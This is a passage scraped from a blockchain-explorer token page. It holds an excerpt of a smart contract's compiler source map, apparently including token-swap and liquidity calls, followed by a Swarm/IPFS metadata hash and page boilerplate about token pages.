:-1;;;;;5112:22:0;;5104:35;;;;-1:-1:-1;;;5104:35:0;;17344:2:1;5104:35:0;;;17326:21:1;-1:-1:-1;17363:18:1;;;17356:29;17402:18;;5104:35:0;17142:284:1;5104:35:0;-1:-1:-1;;;;;5173:19:0;;5150:20;5173:19;;;;;;;;;;;5211:27;;;;5203:40;;;;-1:-1:-1;;;5203:40:0;;17344:2:1;5203:40:0;;;17326:21:1;-1:-1:-1;17363:18:1;;;17356:29;17402:18;;5203:40:0;17142:284:1;5203:40:0;-1:-1:-1;;;;;5279:19:0;;:9;:19;;;;;;;;;;;5301:26;;;5279:48;;5342:12;:27;;;;;;;5398:43;713:25:1;;;5279:9:0;;:19;5398:43;;686:18:1;5398:43:0;567:177:1;27702:472:0;27792:16;;;27806:1;27792:16;;;;;;;;27768:21;;27792:16;;;;;;;;;;-1:-1:-1;27792:16:0;27768:40;;27837:4;27819;27824:1;27819:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;27819:23:0;;;:7;;;;;;;;;;:23;;;;27863:15;;:22;;;-1:-1:-1;;;27863:22:0;;;;:15;;;;;:20;;:22;;;;;27819:7;;27863:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;27853:4;27858:1;27853:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;27853:32:0;;;:7;;;;;;;;;:32;27928:15;;27896:62;;27913:4;;27928:15;27946:11;27896:8;:62::i;:::-;27969:15;;:197;;-1:-1:-1;;;27969:197:0;;-1:-1:-1;;;;;27969:15:0;;;;:66;;:197;;28050:11;;27969:15;;28093:4;;28120;;28140:15;;27969:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27757:417;27702:472;:::o;12442:369::-;12555:15;;12523:62;;12540:4;;-1:-1:-1;;;;;12555:15:0;12573:11;12523:8;:62::i;:::-;12596:15;;:207;;-1:-1:-1;;;12596:207:0;;12669:4;12596:207;;;19277:34:1;19327:18;;;19320:34;;;12596:15:0;19370:18:1;;;19363:34;;;19413:18;;;19406:34;12755:6:0;19456:19:1;;;19449:44;12777:15:0;19509:19:1;;;19502:35;-1:-1:-1;;;;;12596:15:0;;;;:31;;12635:9;;19211:19:1;;12596:207:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12442:369;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1628:247::-;1687:6;1740:2;1728:9;1719:7;1715:23;1711:32;1708:52;;;1756:1;1753;1746:12;1708:52;1795:9;1782:23;1814:31;1839:5;1814:31;:::i;1880:456::-;1957:6;1965;1973;2026:2;2014:9;2005:7;2001:23;1997:32;1994:52;;;2042:1;2039;2032:12;1994:52;2081:9;2068:23;2100:31;2125:5;2100:31;:::i;:::-;2150:5;-1:-1:-1;2207:2:1;2192:18;;2179:32;2220:33;2179:32;2220:33;:::i;:::-;1880:456;;2272:7;;-1:-1:-1;;;2326:2:1;2311:18;;;;2298:32;;1880:456::o;2341:180::-;2400:6;2453:2;2441:9;2432:7;2428:23;2424:32;2421:52;;;2469:1;2466;2459:12;2421:52;-1:-1:-1;2492:23:1;;2341:180;-1:-1:-1;2341:180:1:o;2526:385::-;2612:6;2620;2628;2636;2689:3;2677:9;2668:7;2664:23;2660:33;2657:53;;;2706:1;2703;2696:12;2657:53;-1:-1:-1;;2729:23:1;;;2799:2;2784:18;;2771:32;;-1:-1:-1;2850:2:1;2835:18;;2822:32;;2901:2;2886:18;2873:32;;-1:-1:-1;2526:385:1;-1:-1:-1;2526:385:1:o;3313:416::-;3378:6;3386;3439:2;3427:9;3418:7;3414:23;3410:32;3407:52;;;3455:1;3452;3445:12;3407:52;3494:9;3481:23;3513:31;3538:5;3513:31;:::i;:::-;3563:5;-1:-1:-1;3620:2:1;3605:18;;3592:32;3662:15;;3655:23;3643:36;;3633:64;;3693:1;3690;3683:12;3633:64;3716:7;3706:17;;;3313:416;;;;;:::o;3734:388::-;3802:6;3810;3863:2;3851:9;3842:7;3838:23;3834:32;3831:52;;;3879:1;3876;3869:12;3831:52;3918:9;3905:23;3937:31;3962:5;3937:31;:::i;:::-;3987:5;-1:-1:-1;4044:2:1;4029:18;;4016:32;4057:33;4016:32;4057:33;:::i;4127:383::-;4204:6;4212;4220;4273:2;4261:9;4252:7;4248:23;4244:32;4241:52;;;4289:1;4286;4279:12;4241:52;4328:9;4315:23;4347:31;4372:5;4347:31;:::i;:::-;4397:5;4449:2;4434:18;;4421:32;;-1:-1:-1;4500:2:1;4485:18;;;4472:32;;4127:383;-1:-1:-1;;;4127:383:1:o;4515:380::-;4594:1;4590:12;;;;4637;;;4658:61;;4712:4;4704:6;4700:17;4690:27;;4658:61;4765:2;4757:6;4754:14;4734:18;4731:38;4728:161;;4811:10;4806:3;4802:20;4799:1;4792:31;4846:4;4843:1;4836:15;4874:4;4871:1;4864:15;4728:161;;4515:380;;;:::o;4900:356::-;5102:2;5084:21;;;5121:18;;;5114:30;5180:34;5175:2;5160:18;;5153:62;5247:2;5232:18;;4900:356::o;6029:127::-;6090:10;6085:3;6081:20;6078:1;6071:31;6121:4;6118:1;6111:15;6145:4;6142:1;6135:15;6161:168;6234:9;;;6265;;6282:15;;;6276:22;;6262:37;6252:71;;6303:18;;:::i;6334:217::-;6374:1;6400;6390:132;;6444:10;6439:3;6435:20;6432:1;6425:31;6479:4;6476:1;6469:15;6507:4;6504:1;6497:15;6390:132;-1:-1:-1;6536:9:1;;6334:217::o;6966:125::-;7031:9;;;7052:10;;;7049:36;;;7065:18;;:::i;12859:401::-;13061:2;13043:21;;;13100:2;13080:18;;;13073:30;13139:34;13134:2;13119:18;;13112:62;-1:-1:-1;;;13205:2:1;13190:18;;13183:35;13250:3;13235:19;;12859:401::o;13265:399::-;13467:2;13449:21;;;13506:2;13486:18;;;13479:30;13545:34;13540:2;13525:18;;13518:62;-1:-1:-1;;;13611:2:1;13596:18;;13589:33;13654:3;13639:19;;13265:399::o;14782:128::-;14849:9;;;14870:11;;;14867:37;;;14884:18;;:::i;17563:127::-;17624:10;17619:3;17615:20;17612:1;17605:31;17655:4;17652:1;17645:15;17679:4;17676:1;17669:15;17695:251;17765:6;17818:2;17806:9;17797:7;17793:23;17789:32;17786:52;;;17834:1;17831;17824:12;17786:52;17866:9;17860:16;17885:31;17910:5;17885:31;:::i;17951:980::-;18213:4;18261:3;18250:9;18246:19;18292:6;18281:9;18274:25;18318:2;18356:6;18351:2;18340:9;18336:18;18329:34;18399:3;18394:2;18383:9;18379:18;18372:31;18423:6;18458;18452:13;18489:6;18481;18474:22;18527:3;18516:9;18512:19;18505:26;;18566:2;18558:6;18554:15;18540:29;;18587:1;18597:195;18611:6;18608:1;18605:13;18597:195;;;18676:13;;-1:-1:-1;;;;;18672:39:1;18660:52;;18767:15;;;;18732:12;;;;18708:1;18626:9;18597:195;;;-1:-1:-1;;;;;;;18848:32:1;;;;18843:2;18828:18;;18821:60;-1:-1:-1;;;18912:3:1;18897:19;18890:35;18809:3;17951:980;-1:-1:-1;;;17951:980:1:o;19548:306::-;19636:6;19644;19652;19705:2;19693:9;19684:7;19680:23;19676:32;19673:52;;;19721:1;19718;19711:12;19673:52;19750:9;19744:16;19734:26;;19800:2;19789:9;19785:18;19779:25;19769:35;;19844:2;19833:9;19829:18;19823:25;19813:35;;19548:306;;;;;:::o
Swarm Source
ipfs://738c90393e6b8b6b6ed751b82b563e6ab19ca7fb586605b368982e1676e62d4b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.